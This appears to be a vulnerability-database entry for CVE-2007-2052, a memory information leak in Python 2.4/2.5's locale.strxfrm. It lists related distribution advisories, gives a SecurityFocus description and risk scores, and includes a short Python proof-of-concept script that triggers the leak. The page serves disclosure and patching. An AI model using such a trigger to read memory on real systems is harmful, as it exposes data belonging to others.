Python 2.5 - 'PyLocale_strxfrm' Remote Information Leak
| Reporter | Title | Published | Views | Family All 123 |
|---|---|---|---|---|
 | CVE-2007-2052 | 16 Apr 200722:19 | – | attackerkb |
 | CentOS 3 / 4 : python (CESA-2007:1076) | 11 Dec 200700:00 | – | nessus |
| CentOS 5 : python (CESA-2009:1176) | 6 Jan 201000:00 | – | nessus |
| Debian DSA-1551-1 : python2.4 - several vulnerabilities | 22 Apr 200800:00 | – | nessus |
| Debian DSA-1620-1 : python2.5 - several vulnerabilities | 28 Jul 200800:00 | – | nessus |
| Mandrake Linux Security Advisory : python (MDKSA-2007:099) | 10 May 200700:00 | – | nessus |
| MiracleLinux 3 : python-2.4.3-24.6.1AXS3 (AXSA:2009-367:02) | 14 Jan 202600:00 | – | nessus |
| Oracle Linux 3 / 4 : python (ELSA-2007-1076) | 12 Jul 201300:00 | – | nessus |
| Oracle Linux 5 : python (ELSA-2009-1176) | 12 Jul 201300:00 | – | nessus |
| RHEL 3 / 4 : python (RHSA-2007:1076) | 11 Dec 200700:00 | – | nessus |
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source: https://www.securityfocus.com/bid/23887/info
Python applications that use the 'PyLocale_strxfrm' function are prone to an information leak.
Exploiting this issue allows remote attackers to read portions of memory.
Python 2.4.4-2 and 2.5 are confirmed vulnerable.
#!/usr/bin/python
import locale
print locale.setlocale(locale.LC_COLLATE, 'pl_PL.UTF8')
print repr(locale.strxfrm('a'))Data
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04 Dec 2013 00:00Current
6.8Medium risk
Vulners AI Score6.8
CVSS 25
EPSS0.12479